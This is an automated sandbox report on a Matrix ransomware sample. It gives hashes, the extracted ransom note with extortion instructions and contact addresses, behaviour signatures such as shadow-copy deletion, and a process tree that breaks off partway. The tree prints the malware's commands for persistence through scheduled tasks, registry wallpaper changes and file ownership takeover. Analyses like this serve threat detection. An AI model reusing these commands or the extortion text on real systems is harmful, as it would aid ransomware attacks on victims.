Analysis

  • max time kernel
    129s
  • max time network
    127s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230703-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230703-enlocale:en-usos:windows10-2004-x64system
  • submitted
    13-07-2023 23:50

General

  • Target

    MatrixRansomware.exe

  • Size

    1.2MB

  • MD5

    a93bd199d34d21cc9102600c6ce782cf

  • SHA1

    31b50d84aa1af4f0e76a523382caba476f6e45dc

  • SHA256

    242713ef2f372f0d39ca8f01bd09c9f99bcfe850e156621c023dd9e0bfb9bd95

  • SHA512

    642e0cacf80a54ffa8f1bdeebb2a9b9449bb062bc331924ff8b6c93853ade68cdbd23928081d7c5da7bce944f5c553b0c4b05bd90fda525f017415bd891534c2

  • SSDEEP

    24576:NykKxXJdZiDTrfJR5ez1888K0aNE1eXTBoAlK/u95ByxXEfui:N8bcLK+KzlK/udyh/i

Malware Config

Extracted

Path

C:\Program Files\Google\Chrome\Application\106.0.5249.119\default_apps\#README_EMAN#.rtf

Ransom Note
{\rtf1\ansi\ansicpg1251\deff0\nouicompat\deflang1049{\fonttbl{\f0\fnil\fcharset0 Calibri;}{\f1\fnil\fcharset204 Calibri;}} {\colortbl ;\red255\green0\blue0;\red0\green77\blue187;\red0\green176\blue80;\red0\green0\blue255;\red255\green255\blue255;} {\*\generator Riched20 10.0.15063}\viewkind4\uc1 \pard\ri-500\sa200\sl240\slmult1\qc\tx8804\ul\b\f0\fs28\lang1033 HOW TO RECOVER YOUR FILES INSTRUCTION\ulnone\f1\lang1049\par \pard\ri-74\sl240\slmult1\tx8378\cf1\f0\fs24\lang1033 ATENTION!!!\par \cf0\b0 We are realy sorry to inform you that \b ALL YOUR FILES WERE ENCRYPTED \par \b0 by our automatic software. It became possible because of bad server security. \par \cf1\b ATENTION!!!\par \cf0\b0 Please don't worry, we can help you to \b RESTORE\b0 your server to original\par state and decrypt all your files quickly and safely!\par \b\par \cf2 INFORMATION!!!\par \cf0\b0 Files are not broken!!!\par Files were encrypted with AES-128+RSA-2048 crypto algorithms.\par There is no way to decrypt your files without unique decryption key and special software. Your unique decryption key is securely stored on our server. For our safety, all information about your server and your decryption key will be automaticaly \b DELETED AFTER 7 DAYS! \b0 You will irrevocably lose all your data!\par \i * Please note that all the attempts to recover your files by yourself or using third party tools will result only in irrevocable loss of your data!\par * Please note that you can recover files only with your unique decryption key, which stored on our side. If you will use the help of third parties, you will only add a middleman.\f1\lang1049\par \i0\f0\lang1033\par \cf3\b HOW TO RECOVER FILES???\par \cf0\b0 Please write us to the e-mail \i (write on English or use professional translator)\i0 :\par \pard\sl240\slmult1\b\fs28 [email protected]\par [email protected]\par [email protected]\cf1\fs24\par You have to send your message on each of our 3 emails\f1\lang1049 \f0\lang1033 due to the fact that the message may not reach their intended recipient for a variety of reasons!\fs28\par \pard\ri-74\sl240\slmult1\tx8378\cf0\b0\fs24 \par In subject line write your personal ID:\par \b\fs28 1B5F69C1AEAC538E\par \b0\fs24 We recommed you to attach 3 encrypted files to your message. We will demonstrate that we can recover your files. \f1\lang1049\par \i * \f0\lang1033 \f1\lang1049 \f0\lang1033 Please note that files must not contain any valuable information and their total size must be less than 5Mb. \par \i0\par \cf1\b OUR ADVICE!!!\par \cf0\b0 Please be sure that we will find common languge. We will restore all the data and give you recommedations how to configure the protection of your server.\par \ul\b\par We will definitely reach an agreement ;) !!!\b0\par \ulnone\par \fs20 \par \par \par \par \par \par \par \pard\ri-74\sl240\slmult1\qc\tx8378\b\fs24 ALTERNATIVE COMMUNICATION\par \b0\fs20\par \pard\ri-74\sl240\slmult1\tx8378 \f1\lang1049 If y\'eeu did n\'eet r\'e5c\'e5iv\'e5 th\'e5 \'e0nsw\'e5r fr\'eem th\'e5 \'e0f\'eer\'e5cit\'e5d \'e5m\'e0il\f0\lang1033 s\f1\lang1049 f\'eer m\'eer\'e5 th\f0\lang1033 e\f1\lang1049 n \f0\lang1033 24\f1\lang1049 h\f0\lang1033 o\f1\lang1049 urs\f0\lang1033 please s\f1\lang1049\'e5\f0\lang1033 nd us Bitm\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 s fr\f1\lang1049\'ee\f0\lang1033 m \f1\lang1049\'e0\f0\lang1033 w\f1\lang1049\'e5\f0\lang1033 b br\f1\lang1049\'ee\f0\lang1033 ws\f1\lang1049\'e5\f0\lang1033 r thr\f1\lang1049\'ee\f0\lang1033 ugh th\f1\lang1049\'e5\f0\lang1033 w\f1\lang1049\'e5\f0\lang1033 bp\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 {{\field{\*\fldinst{HYPERLINK https://bitmsg.me }}{\fldrslt{https://bitmsg.me\ul0\cf0}}}}\f0\fs20 . B\f1\lang1049\'e5\f0\lang1033 l\f1\lang1049\'ee\f0\lang1033 w is \f1\lang1049\'e0\f0\lang1033 tut\f1\lang1049\'ee\f0\lang1033 ri\f1\lang1049\'e0\f0\lang1033 l \f1\lang1049\'ee\f0\lang1033 n h\f1\lang1049\'ee\f0\lang1033 w t\f1\lang1049\'ee\f0\lang1033 s\f1\lang1049\'e5\f0\lang1033 nd bitm\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 vi\f1\lang1049\'e0\f0\lang1033 w\f1\lang1049\'e5\f0\lang1033 b br\f1\lang1049\'ee\f0\lang1033 ws\f1\lang1049\'e5\f0\lang1033 r:\par 1. \f1\lang1049\'ce\f0\lang1033 p\f1\lang1049\'e5\f0\lang1033 n in y\f1\lang1049\'ee\f0\lang1033 ur br\f1\lang1049\'ee\f0\lang1033 ws\f1\lang1049\'e5\f0\lang1033 r th\f1\lang1049\'e5\f0\lang1033 link {{\field{\*\fldinst{HYPERLINK https://bitmsg.me/users/sign_up }}{\fldrslt{https://bitmsg.me/users/sign_up\ul0\cf0}}}}\f0\fs20 \f1\lang1049\'e0\f0\lang1033 nd m\f1\lang1049\'e0\f0\lang1033 k\f1\lang1049\'e5\f0\lang1033 th\f1\lang1049\'e5\f0\lang1033 r\f1\lang1049\'e5\f0\lang1033 gistr\f1\lang1049\'e0\f0\lang1033 ti\f1\lang1049\'ee\f0\lang1033 n b\f1\lang1049\'f3\f0\lang1033 \f1\lang1049\'e5\f0\lang1033 nt\f1\lang1049\'e5\f0\lang1033 ring n\f1\lang1049\'e0\f0\lang1033 m\f1\lang1049\'e5\f0\lang1033 \f1\lang1049\'e5\f0\lang1033 m\f1\lang1049\'e0\f0\lang1033 il \f1\lang1049\'e0\f0\lang1033 nd p\f1\lang1049\'e0\f0\lang1033 ssw\f1\lang1049\'ee\f0\lang1033 rd.\par 2. \f1\lang1049\'d3\'ee\f0\lang1033 u must c\f1\lang1049\'ee\f0\lang1033 nfirm th\f1\lang1049\'e5\f0\lang1033 r\f1\lang1049\'e5\f0\lang1033 gistr\f1\lang1049\'e0\f0\lang1033 ti\f1\lang1049\'ee\f0\lang1033 n, r\f1\lang1049\'e5\f0\lang1033 turn t\f1\lang1049\'ee\f0\lang1033 \f1\lang1049\'f3\'ee\f0\lang1033 ur \f1\lang1049\'e5\f0\lang1033 m\f1\lang1049\'e0\f0\lang1033 il \f1\lang1049\'e0\f0\lang1033 nd f\f1\lang1049\'ee\f0\lang1033 ll\f1\lang1049\'ee\f0\lang1033 w th\f1\lang1049\'e5\f0\lang1033 instructi\f1\lang1049\'ee\f0\lang1033 ns th\f1\lang1049\'e0\f0\lang1033 t w\f1\lang1049\'e5\f0\lang1033 r\f1\lang1049\'e5\f0\lang1033 s\f1\lang1049\'e5\f0\lang1033 nt t\f1\lang1049\'ee\f0\lang1033 \f1\lang1049\'f3\'ee\f0\lang1033 u.\par 3. R\f1\lang1049\'e5\f0\lang1033 turn t\f1\lang1049\'ee\f0\lang1033 sit\f1\lang1049\'e5\f0\lang1033 \f1\lang1049\'e0\f0\lang1033 nd \f1\lang1049\'f1\f0\lang1033 lick \f1\lang1049 "\f0\lang1033 L\f1\lang1049\'ee\f0\lang1033 gin\f1\lang1049 "\f0\lang1033 l\f1\lang1049\'e0\f0\lang1033 b\f1\lang1049\'e5\f0\lang1033 l \f1\lang1049\'ee\f0\lang1033 r us\f1\lang1049\'e5\f0\lang1033 link {{\field{\*\fldinst{HYPERLINK https://bitmsg.me/users/sign_in }}{\fldrslt{https://bitmsg.me/users/sign_in\ul0\cf0}}}}\f0\fs20 , \f1\lang1049\'e5\f0\lang1033 nt\f1\lang1049\'e5\f0\lang1033 r \f1\lang1049\'f3\'ee\f0\lang1033 ur \f1\lang1049\'e5\f0\lang1033 m\f1\lang1049\'e0\f0\lang1033 il \f1\lang1049\'e0\f0\lang1033 nd p\f1\lang1049\'e0\f0\lang1033 ssw\f1\lang1049\'ee\f0\lang1033 rd \f1\lang1049\'e0\f0\lang1033 nd click th\f1\lang1049\'e5\f0\lang1033 "Sign in" butt\f1\lang1049\'ee\f0\lang1033 n. \f1\lang1049 \f0\lang1033\par 4. \f1\lang1049\'d1\f0\lang1033 lick th\f1\lang1049\'e5\f0\lang1033 "\f1\lang1049\'d1\f0\lang1033 r\f1\lang1049\'e5\'e0\f0\lang1033 t\f1\lang1049\'e5\f0\lang1033 R\f1\lang1049\'e0\f0\lang1033 nd\f1\lang1049\'ee\f0\lang1033 m \f1\lang1049\'e0\f0\lang1033 ddr\f1\lang1049\'e5\f0\lang1033 ss" butt\f1\lang1049\'ee\f0\lang1033 n.\par 5. \f1\lang1049\'d1\f0\lang1033 lick th\f1\lang1049\'e5\f0\lang1033 "N\f1\lang1049\'e5\f0\lang1033 w m\f1\lang1049\'e0\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 " butt\f1\lang1049\'ee\f0\lang1033 n.\par \b 6. S\f1\lang1049\'e5\f0\lang1033 nding m\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 :\par T\f1\lang1049\'ee\f0\lang1033 :\b0 \f1\lang1049\'c5\f0\lang1033 nt\f1\lang1049\'e5\f0\lang1033 r \f1\lang1049\'e0\f0\lang1033 ddr\f1\lang1049\'e5\f0\lang1033 ss: \b BM-2cXRWRW5Jv5hxbhgu2HJSJrtPf92iKshhm\par \pard\sl240\slmult1 Subj\f1\lang1049\'e5\'f1\f0\lang1033 t:\b0 \f1\lang1049\'c5\f0\lang1033 nt\f1\lang1049\'e5\f0\lang1033 r \f1\lang1049\'f3\'ee\f0\lang1033 ur ID: \b 1B5F69C1AEAC538E\par M\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 : \b0 D\f1\lang1049\'e5\f0\lang1033 scrib\f1\lang1049\'e5\f0\lang1033 wh\f1\lang1049\'e0\f0\lang1033 t \f1\lang1049\'f3\'ee\f0\lang1033 u think n\f1\lang1049\'e5\f0\lang1033 c\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 r\f1\lang1049\'f3\f0\lang1033 .\par \pard\ri-74\sa200\sl240\slmult1\tx8378\f1\lang1049\'d1\f0\lang1033 lick th\f1\lang1049\'e5\f0\lang1033 "S\f1\lang1049\'e5\f0\lang1033 nd m\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 " butt\f1\lang1049\'ee\f0\lang1033 n.\cf5\b\par \pard\sa200\sl240\slmult1\fs28 A1fPHNau\cf0\f1\fs32\lang1049\par \par }
Emails
URLs

https://bitmsg.me

https://bitmsg.me/users/sign_up

https://bitmsg.me/users/sign_in

Signatures

  • Matrix Ransomware 64 IoCs

    Targeted ransomware with information collection and encryption functionality.

  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Modifies boot configuration data using bcdedit 1 TTPs 1 IoCs
  • Blocklisted process makes network request 4 IoCs
  • Drops file in Drivers directory 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 64 IoCs
  • Modifies file permissions 1 TTPs 64 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • UPX packed file 64 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops desktop.ini file(s) 27 IoCs
  • Enumerates connected drives 3 TTPs 44 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Interacts with shadow copies 2 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\MatrixRansomware.exe
    "C:\Users\Admin\AppData\Local\Temp\MatrixRansomware.exe"
    1⤵
    • Matrix Ransomware
    • Drops desktop.ini file(s)
    • Enumerates connected drives
    • Drops file in Program Files directory
    • Suspicious use of WriteProcessMemory
    PID:720
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /C copy /V /Y "C:\Users\Admin\AppData\Local\Temp\MatrixRansomware.exe" "C:\Users\Admin\AppData\Local\Temp\NW1RVsE0.exe"
      2⤵
        PID:2108
      • C:\Users\Admin\AppData\Local\Temp\NW1RVsE0.exe
        "C:\Users\Admin\AppData\Local\Temp\NW1RVsE0.exe" -n
        2⤵
        • Executes dropped EXE
        PID:3204
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /C reg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\mFW42U8f.bmp" /f & reg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f & reg add "HKCU\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4572
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\mFW42U8f.bmp" /f
          3⤵
          • Sets desktop wallpaper using registry
          PID:4124
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f
          3⤵
            PID:1192
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKCU\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f
            3⤵
              PID:4372
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\system32\cmd.exe" /C wscript //B //Nologo "C:\Users\Admin\AppData\Roaming\9OG3Vr2A.vbs"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:2196
            • C:\Windows\SysWOW64\wscript.exe
              wscript //B //Nologo "C:\Users\Admin\AppData\Roaming\9OG3Vr2A.vbs"
              3⤵
              • Checks computer location settings
              PID:2396
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe" /C schtasks /Create /tn DSHCA /tr "C:\Users\Admin\AppData\Roaming\bOcTXSdl.bat" /sc minute /mo 5 /RL HIGHEST /F
                4⤵
                  PID:4376
                  • C:\Windows\SysWOW64\schtasks.exe
                    schtasks /Create /tn DSHCA /tr "C:\Users\Admin\AppData\Roaming\bOcTXSdl.bat" /sc minute /mo 5 /RL HIGHEST /F
                    5⤵
                    • Creates scheduled task(s)
                    PID:5772
                • C:\Windows\SysWOW64\cmd.exe
                  "C:\Windows\System32\cmd.exe" /C schtasks /Run /I /tn DSHCA
                  4⤵
                    PID:4136
                    • C:\Windows\SysWOW64\schtasks.exe
                      schtasks /Run /I /tn DSHCA
                      5⤵
                        PID:2940
                • C:\Windows\SysWOW64\cmd.exe
                  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\iS1jiihw.bat" "C:\Users\All Users\USOPrivate\UpdateStore\store.db""
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1744
                  • C:\Windows\SysWOW64\cacls.exe
                    cacls "C:\Users\All Users\USOPrivate\UpdateStore\store.db" /E /G Admin:F /C
                    3⤵
                      PID:4804
                    • C:\Windows\SysWOW64\takeown.exe
                      takeown /F "C:\Users\All Users\USOPrivate\UpdateStore\store.db"
                      3⤵
                      • Modifies file permissions
                      • Suspicious use of AdjustPrivilegeToken
                      PID:2612
                    • C:\Windows\SysWOW64\cmd.exe
                      C:\Windows\system32\cmd.exe /c OllakRAT.exe -accepteula "store.db" -nobanner
                      3⤵
                      • Suspicious use of WriteProcessMemory
                      PID:1348
                      • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                        OllakRAT.exe -accepteula "store.db" -nobanner
                        4⤵
                        • Executes dropped EXE
                        • Suspicious use of WriteProcessMemory
                        PID:3848
                        • C:\Users\Admin\AppData\Local\Temp\OllakRAT64.exe
                          OllakRAT.exe -accepteula "store.db" -nobanner
                          5⤵
                          • Drops file in Drivers directory
                          • Sets service image path in registry
                          • Executes dropped EXE
                          • Enumerates connected drives
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious behavior: LoadsDriver
                          • Suspicious use of AdjustPrivilegeToken
                          PID:4476
                  • C:\Windows\SysWOW64\cmd.exe
                    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\iS1jiihw.bat" "C:\ProgramData\USOPrivate\UpdateStore\store.db""
                    2⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3084
                    • C:\Windows\SysWOW64\cacls.exe
                      cacls "C:\ProgramData\USOPrivate\UpdateStore\store.db" /E /G Admin:F /C
                      3⤵
                        PID:6100
                      • C:\Windows\SysWOW64\takeown.exe
                        takeown /F "C:\ProgramData\USOPrivate\UpdateStore\store.db"
                        3⤵
                          PID:5272
                        • C:\Windows\SysWOW64\cmd.exe
                          C:\Windows\system32\cmd.exe /c OllakRAT.exe -accepteula "store.db" -nobanner
                          3⤵
                          • Suspicious use of WriteProcessMemory
                          PID:5700
                          • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                            OllakRAT.exe -accepteula "store.db" -nobanner
                            4⤵
                            • Executes dropped EXE
                            PID:5308
                        • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                          OllakRAT.exe -accepteula -c Run -y -p extract -nobanner
                          3⤵
                          • Executes dropped EXE
                          PID:4052
                      • C:\Windows\SysWOW64\cmd.exe
                        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\iS1jiihw.bat" "C:\Program Files\Java\jdk1.8.0_66\jre\bin\server\classes.jsa""
                        2⤵
                        • Suspicious use of WriteProcessMemory
                        PID:5624
                        • C:\Windows\SysWOW64\cacls.exe
                          cacls "C:\Program Files\Java\jdk1.8.0_66\jre\bin\server\classes.jsa" /E /G Admin:F /C
                          3⤵
                            PID:1884
                          • C:\Windows\SysWOW64\takeown.exe
                            takeown /F "C:\Program Files\Java\jdk1.8.0_66\jre\bin\server\classes.jsa"
                            3⤵
                              PID:5740
                            • C:\Windows\SysWOW64\cmd.exe
                              C:\Windows\system32\cmd.exe /c OllakRAT.exe -accepteula "classes.jsa" -nobanner
                              3⤵
                                PID:6088
                                • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                  OllakRAT.exe -accepteula "classes.jsa" -nobanner
                                  4⤵
                                  • Executes dropped EXE
                                  PID:4416
                              • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                OllakRAT.exe -accepteula -c Run -y -p extract -nobanner
                                3⤵
                                • Executes dropped EXE
                                PID:4712
                            • C:\Windows\SysWOW64\cmd.exe
                              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\iS1jiihw.bat" "C:\Program Files\Java\jre1.8.0_66\bin\server\classes.jsa""
                              2⤵
                                PID:6124
                                • C:\Windows\SysWOW64\cacls.exe
                                  cacls "C:\Program Files\Java\jre1.8.0_66\bin\server\classes.jsa" /E /G Admin:F /C
                                  3⤵
                                    PID:5324
                                  • C:\Windows\SysWOW64\takeown.exe
                                    takeown /F "C:\Program Files\Java\jre1.8.0_66\bin\server\classes.jsa"
                                    3⤵
                                      PID:5448
                                    • C:\Windows\SysWOW64\cmd.exe
                                      C:\Windows\system32\cmd.exe /c OllakRAT.exe -accepteula "classes.jsa" -nobanner
                                      3⤵
                                        PID:1604
                                        • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                          OllakRAT.exe -accepteula "classes.jsa" -nobanner
                                          4⤵
                                          • Executes dropped EXE
                                          PID:5152
                                      • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                        OllakRAT.exe -accepteula -c Run -y -p extract -nobanner
                                        3⤵
                                        • Executes dropped EXE
                                        PID:1324
                                    • C:\Windows\SysWOW64\cmd.exe
                                      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\iS1jiihw.bat" "C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.Targets""
                                      2⤵
                                        PID:5444
                                        • C:\Windows\SysWOW64\cacls.exe
                                          cacls "C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.Targets" /E /G Admin:F /C
                                          3⤵
                                            PID:6140
                                          • C:\Windows\SysWOW64\takeown.exe
                                            takeown /F "C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.Targets"
                                            3⤵
                                            • Modifies file permissions
                                            PID:3324
                                          • C:\Windows\SysWOW64\cmd.exe
                                            C:\Windows\system32\cmd.exe /c OllakRAT.exe -accepteula "Workflow.Targets" -nobanner
                                            3⤵
                                              PID:2300
                                              • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                                OllakRAT.exe -accepteula "Workflow.Targets" -nobanner
                                                4⤵
                                                • Executes dropped EXE
                                                PID:5720
                                            • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                              OllakRAT.exe -accepteula -c Run -y -p extract -nobanner
                                              3⤵
                                              • Executes dropped EXE
                                              PID:4776
                                          • C:\Windows\SysWOW64\cmd.exe
                                            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\iS1jiihw.bat" "C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.VisualBasic.Targets""
                                            2⤵
                                              PID:2764
                                              • C:\Windows\SysWOW64\cacls.exe
                                                cacls "C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.VisualBasic.Targets" /E /G Admin:F /C
                                                3⤵
                                                  PID:5116
                                                • C:\Windows\SysWOW64\takeown.exe
                                                  takeown /F "C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.VisualBasic.Targets"
                                                  3⤵
                                                  • Modifies file permissions
                                                  • Suspicious use of AdjustPrivilegeToken
                                                  PID:5948
                                                • C:\Windows\SysWOW64\cmd.exe
                                                  C:\Windows\system32\cmd.exe /c OllakRAT.exe -accepteula "Workflow.VisualBasic.Targets" -nobanner
                                                  3⤵
                                                    PID:5996
                                                    • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                                      OllakRAT.exe -accepteula "Workflow.VisualBasic.Targets" -nobanner
                                                      4⤵
                                                      • Executes dropped EXE
                                                      PID:2580
                                                  • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                                    OllakRAT.exe -accepteula -c Run -y -p extract -nobanner
                                                    3⤵
                                                      PID:3084
                                                  • C:\Windows\SysWOW64\cmd.exe
                                                    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\iS1jiihw.bat" "C:\Program Files\Windows Photo Viewer\de-DE\PhotoAcq.dll.mui""
                                                    2⤵
                                                      PID:4884
                                                      • C:\Windows\SysWOW64\cacls.exe
                                                        cacls "C:\Program Files\Windows Photo Viewer\de-DE\PhotoAcq.dll.mui" /E /G Admin:F /C
                                                        3⤵
                                                          PID:5856
                                                        • C:\Windows\SysWOW64\takeown.exe
                                                          takeown /F "C:\Program Files\Windows Photo Viewer\de-DE\PhotoAcq.dll.mui"
                                                          3⤵
                                                          • Modifies file permissions
                                                          • Suspicious use of AdjustPrivilegeToken
                                                          PID:5124
                                                        • C:\Windows\SysWOW64\cmd.exe
                                                          C:\Windows\system32\cmd.exe /c OllakRAT.exe -accepteula "PhotoAcq.dll.mui" -nobanner
                                                          3⤵
                                                            PID:1884
                                                            • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                                              OllakRAT.exe -accepteula "PhotoAcq.dll.mui" -nobanner
                                                              4⤵
                                                                PID:5512
                                                            • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                                              OllakRAT.exe -accepteula -c Run -y -p extract -nobanner
                                                              3⤵
                                                              • Executes dropped EXE
                                                              PID:5884
                                                          • C:\Windows\SysWOW64\cmd.exe
                                                            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\iS1jiihw.bat" "C:\Program Files\Windows Photo Viewer\fr-FR\PhotoViewer.dll.mui""
                                                            2⤵
                                                              PID:4572
                                                              • C:\Windows\SysWOW64\cacls.exe
                                                                cacls "C:\Program Files\Windows Photo Viewer\fr-FR\PhotoViewer.dll.mui" /E /G Admin:F /C
                                                                3⤵
                                                                  PID:2380
                                                                • C:\Windows\SysWOW64\takeown.exe
                                                                  takeown /F "C:\Program Files\Windows Photo Viewer\fr-FR\PhotoViewer.dll.mui"
                                                                  3⤵
                                                                    PID:5532
                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                    C:\Windows\system32\cmd.exe /c OllakRAT.exe -accepteula "PhotoViewer.dll.mui" -nobanner
                                                                    3⤵
                                                                      PID:2460
                                                                      • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                                                        OllakRAT.exe -accepteula "PhotoViewer.dll.mui" -nobanner
                                                                        4⤵
                                                                        • Executes dropped EXE
                                                                        PID:2180
                                                                    • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                                                      OllakRAT.exe -accepteula -c Run -y -p extract -nobanner
                                                                      3⤵
                                                                      • Executes dropped EXE
                                                                      PID:5804
                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\iS1jiihw.bat" "C:\Program Files\Windows Photo Viewer\de-DE\PhotoViewer.dll.mui""
                                                                    2⤵
                                                                      PID:4340
                                                                      • C:\Windows\SysWOW64\cacls.exe
                                                                        cacls "C:\Program Files\Windows Photo Viewer\de-DE\PhotoViewer.dll.mui" /E /G Admin:F /C
                                                                        3⤵
                                                                          PID:6028
                                                                        • C:\Windows\SysWOW64\takeown.exe
                                                                          takeown /F "C:\Program Files\Windows Photo Viewer\de-DE\PhotoViewer.dll.mui"
                                                                          3⤵
                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                          PID:5700
                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                          C:\Windows\system32\cmd.exe /c OllakRAT.exe -accepteula "PhotoViewer.dll.mui" -nobanner
                                                                          3⤵
                                                                            PID:5300
                                                                            • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                                                              OllakRAT.exe -accepteula "PhotoViewer.dll.mui" -nobanner
                                                                              4⤵
                                                                                PID:5920
                                                                            • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                                                              OllakRAT.exe -accepteula -c Run -y -p extract -nobanner
                                                                              3⤵
                                                                              • Executes dropped EXE
                                                                              PID:4592
                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\iS1jiihw.bat" "C:\Program Files\Windows Security\BrowserCore\manifest.json""
                                                                            2⤵
                                                                              PID:1964
                                                                              • C:\Windows\SysWOW64\cacls.exe
                                                                                cacls "C:\Program Files\Windows Security\BrowserCore\manifest.json" /E /G Admin:F /C
                                                                                3⤵
                                                                                  PID:5912
                                                                                • C:\Windows\SysWOW64\takeown.exe
                                                                                  takeown /F "C:\Program Files\Windows Security\BrowserCore\manifest.json"
                                                                                  3⤵
                                                                                  • Modifies file permissions
                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                  PID:5636
                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                  C:\Windows\system32\cmd.exe /c OllakRAT.exe -accepteula "manifest.json" -nobanner
                                                                                  3⤵
                                                                                  • Executes dropped EXE
                                                                                  PID:3084
                                                                                  • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                                                                    OllakRAT.exe -accepteula "manifest.json" -nobanner
                                                                                    4⤵
                                                                                      PID:5436
                                                                                  • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                                                                    OllakRAT.exe -accepteula -c Run -y -p extract -nobanner
                                                                                    3⤵
                                                                                    • Executes dropped EXE
                                                                                    PID:5800
                                                                                • C:\Windows\SysWOW64\cmd.exe
